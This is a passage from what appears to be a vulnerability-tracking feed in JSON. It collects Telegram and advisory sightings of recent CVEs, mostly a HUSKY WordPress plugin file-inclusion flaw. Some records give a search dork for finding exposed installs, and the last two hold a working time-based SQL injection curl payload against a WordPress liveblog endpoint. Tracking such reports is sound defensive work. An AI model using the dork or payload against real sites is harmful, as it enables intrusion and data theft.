\u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\ud83d\udd35CVE-2025-24983, CVE-2025-24984, CVE-2025-24985, CVE-2025-24991, CVE-2025-24993 \u0438 CVE-2025-26633 \u2014 CISA \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0448\u0435\u0441\u0442\u044c \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Windows NTFS, Win32k, Fast FAT \u0438 Management Console (MMC).\n\n\ud83d\udd35CVE-2024-56336 \u2014 Siemens \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 SINAMICS S200, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043d\u0435\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u043e\u0431\u0445\u043e\u0434\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2025-26319 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Flowise, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 open-source \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f AI-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u043e\u0432. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:31.288245Z"}, {"uuid": "e0e8969d-c4f2-4c27-bf1b-e86259b08f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/suboxone_chatroom/7482", "content": "CVE-2025-1661: Path Traversal in The HUSKY WordPress Plugin, 9.8 rating \ud83d\udd25\n\nThe vulnerability allows an attacker to execute arbitrary files on the server, including PHP code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/OEg7k\n\ud83d\udc49 Dork: http.body:\"plugins/woocommerce-products-filter\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-products-filter/husky-products-filter-professional-for-woocommerce-1365-unauthenticated-local-file-inclusion", "creation_timestamp": "2025-04-01T12:38:12.000000Z"}, {"uuid": "8ca1df0a-369c-4605-bf39-8752e722e0dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/purp_sec/367", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-27363 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 FreeType. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 \u043f\u043e\u0434\u0433\u043b\u0438\u0444\u043e\u0432 \u0432 TrueType GX \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0448\u0440\u0438\u0444\u0442\u0430\u0445, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\ud83d\udd35CVE-2025-26865 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Apache OFBiz \u0434\u043b\u044f e-commerce, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\n\ud83d\udd35CVE-2025-1661 \u2014 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 HUSKY \u0434\u043b\u044f Wordpress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\ud83d\udd35CVE-2025-24983, CVE-2025-24984, CVE-2025-24985, CVE-2025-24991, CVE-2025-24993 \u0438 CVE-2025-26633 \u2014 CISA \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0448\u0435\u0441\u0442\u044c \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Windows NTFS, Win32k, Fast FAT \u0438 Management Console (MMC).\n\n\ud83d\udd35CVE-2024-56336 \u2014 Siemens \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 SINAMICS S200, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043d\u0435\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u043e\u0431\u0445\u043e\u0434\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2025-26319 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Flowise, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 open-source \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f AI-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u043e\u0432. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:05.738343Z"}, {"uuid": "7d7cfb64-94d7-4f15-a929-3ebf7fd45b6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2025-1686", "type": "published-proof-of-concept", "source": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-p75g-cxfj-7wrx", "content": "", "creation_timestamp": "2025-02-24T16:42:07.000000Z"}, {"uuid": "c8c9c064-e569-4b93-9cb8-0805feca10e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/brutsecurity/1631", "content": "CVE-2025-1661: Path Traversal in The HUSKY WordPress Plugin, 9.8 rating \ud83d\udd25\n\nThe vulnerability allows an attacker to execute arbitrary files on the server, including PHP code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/OEg7k\n\ud83d\udc49 Dork: http.body:\"plugins/woocommerce-products-filter\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-products-filter/husky-products-filter-professional-for-woocommerce-1365-unauthenticated-local-file-inclusion", "creation_timestamp": "2026-07-09T03:00:09.191762Z"}, {"uuid": "38e6d12e-67ac-4946-96cd-4e90598db718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/brutsecurity/1631", "content": "CVE-2025-1661: Path Traversal in The HUSKY WordPress Plugin, 9.8 rating \ud83d\udd25\n\nThe vulnerability allows an attacker to execute arbitrary files on the server, including PHP code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/OEg7k\n\ud83d\udc49 Dork: http.body:\"plugins/woocommerce-products-filter\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-products-filter/husky-products-filter-professional-for-woocommerce-1365-unauthenticated-local-file-inclusion", "creation_timestamp": "2026-07-10T00:00:32.777399Z"}, {"uuid": "37e4b288-4215-494f-b510-f59e6953bb1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1631", "content": "CVE-2025-1661: Path Traversal in The HUSKY WordPress Plugin, 9.8 rating \ud83d\udd25\n\nThe vulnerability allows an attacker to execute arbitrary files on the server, including PHP code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/OEg7k\n\ud83d\udc49 Dork: http.body:\"plugins/woocommerce-products-filter\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-products-filter/husky-products-filter-professional-for-woocommerce-1365-unauthenticated-local-file-inclusion", "creation_timestamp": "2026-07-11T14:00:04.325275Z"}, {"uuid": "a9d2f78c-a8aa-4e8a-b5d6-f76522c2929a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1631", "content": "CVE-2025-1661: Path Traversal in The HUSKY WordPress Plugin, 9.8 rating \ud83d\udd25\n\nThe vulnerability allows an attacker to execute arbitrary files on the server, including PHP code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/OEg7k\n\ud83d\udc49 Dork: http.body:\"plugins/woocommerce-products-filter\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-products-filter/husky-products-filter-professional-for-woocommerce-1365-unauthenticated-local-file-inclusion", "creation_timestamp": "2026-07-12T00:00:48.074579Z"}, {"uuid": "9d74fc0d-d337-484b-905e-0b7df03fc42a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/hacking_Attack/160922", "content": "The HUSKY\u200a\u2014\u200aProducts Filter Professional plugin for WooCommerce (versions \u22641.3.6.5) contains an unauthenticated Local File Inclusion (LFI)\u2026Continue reading on Medium \u00bb (https://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:23.736826Z"}, {"uuid": "8562977d-4eea-4baf-8b72-a47159ec97e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/hacking_Attack/160920", "content": "PoC EXPLOITCVE-2025\u20131661: Critical Vulnerability in HUSKY WooCommerce Filter Plugin\nhttps://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:24.052633Z"}, {"uuid": "930c9e41-7541-4caa-9c38-e0d8ee4aaa54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/hacking_Attack/160922", "content": "The HUSKY\u200a\u2014\u200aProducts Filter Professional plugin for WooCommerce (versions \u22641.3.6.5) contains an unauthenticated Local File Inclusion (LFI)\u2026Continue reading on Medium \u00bb (https://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:40.257262Z"}, {"uuid": "b53275f6-1d91-4228-8733-3836c567245f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/hacking_Attack/160920", "content": "PoC EXPLOITCVE-2025\u20131661: Critical Vulnerability in HUSKY WooCommerce Filter Plugin\nhttps://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:40.604919Z"}, {"uuid": "c0eb21b7-0c30-4fbc-bcc0-83bc81519b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/160920", "content": "PoC EXPLOITCVE-2025\u20131661: Critical Vulnerability in HUSKY WooCommerce Filter Plugin\nhttps://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T10:00:03.977953Z"}, {"uuid": "3d9b90be-47f0-4fd0-a711-58d6c6437782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/160922", "content": "The HUSKY\u200a\u2014\u200aProducts Filter Professional plugin for WooCommerce (versions \u22641.3.6.5) contains an unauthenticated Local File Inclusion (LFI)\u2026Continue reading on Medium \u00bb (https://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T10:00:04.293647Z"}, {"uuid": "9579b146-33db-4bbd-814b-fbc53fc5c75e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/160920", "content": "PoC EXPLOITCVE-2025\u20131661: Critical Vulnerability in HUSKY WooCommerce Filter Plugin\nhttps://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:53.279363Z"}, {"uuid": "3f1a9ffb-f6bc-4db3-832e-89cd439114d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/160922", "content": "The HUSKY\u200a\u2014\u200aProducts Filter Professional plugin for WooCommerce (versions \u22641.3.6.5) contains an unauthenticated Local File Inclusion (LFI)\u2026Continue reading on Medium \u00bb (https://medium.com/@exploit_machine/poc-exploit-cve-2025-1661-critical-vulnerability-in-husky-woocommerce-filter-plugin-4502600761a4?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:53.697064Z"}, {"uuid": "3ac8973d-55aa-42a7-b5ad-b9997cce564f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8a3d8b4f-f74c-4d29-b590-a6c7923038db", "content": "", "creation_timestamp": "2026-09-12T11:00:30.052138Z"}, {"uuid": "3c37abc3-d7ec-43db-8f36-707fff729435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1648", "type": "published-proof-of-concept", "source": "https://t.me/CYPERMRED/23", "content": "CVE-2025-1648\n\n- sql injection\n- role: unauthenticated\n\n\ntime curl -v \"http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=js_liveblog_update&lbid=11+AND+(SELECT+9496+FROM+(SELECT(SLEEP(5)))NxyR)\"", "creation_timestamp": "2026-09-13T20:00:04.428121Z"}, {"uuid": "950d2c58-9ae2-431b-a89c-f673edef2f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1648", "type": "published-proof-of-concept", "source": "https://t.me/CYPERMRED/23", "content": "CVE-2025-1648\n\n- sql injection\n- role: unauthenticated\n\n\ntime curl -v \"http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=js_liveblog_update&lbid=11+AND+(SELECT+9496+FROM+(SELECT(SLEEP(5)))NxyR)\"", "creation_timestamp": "2026-09-14T00:00:10.422459Z"}]}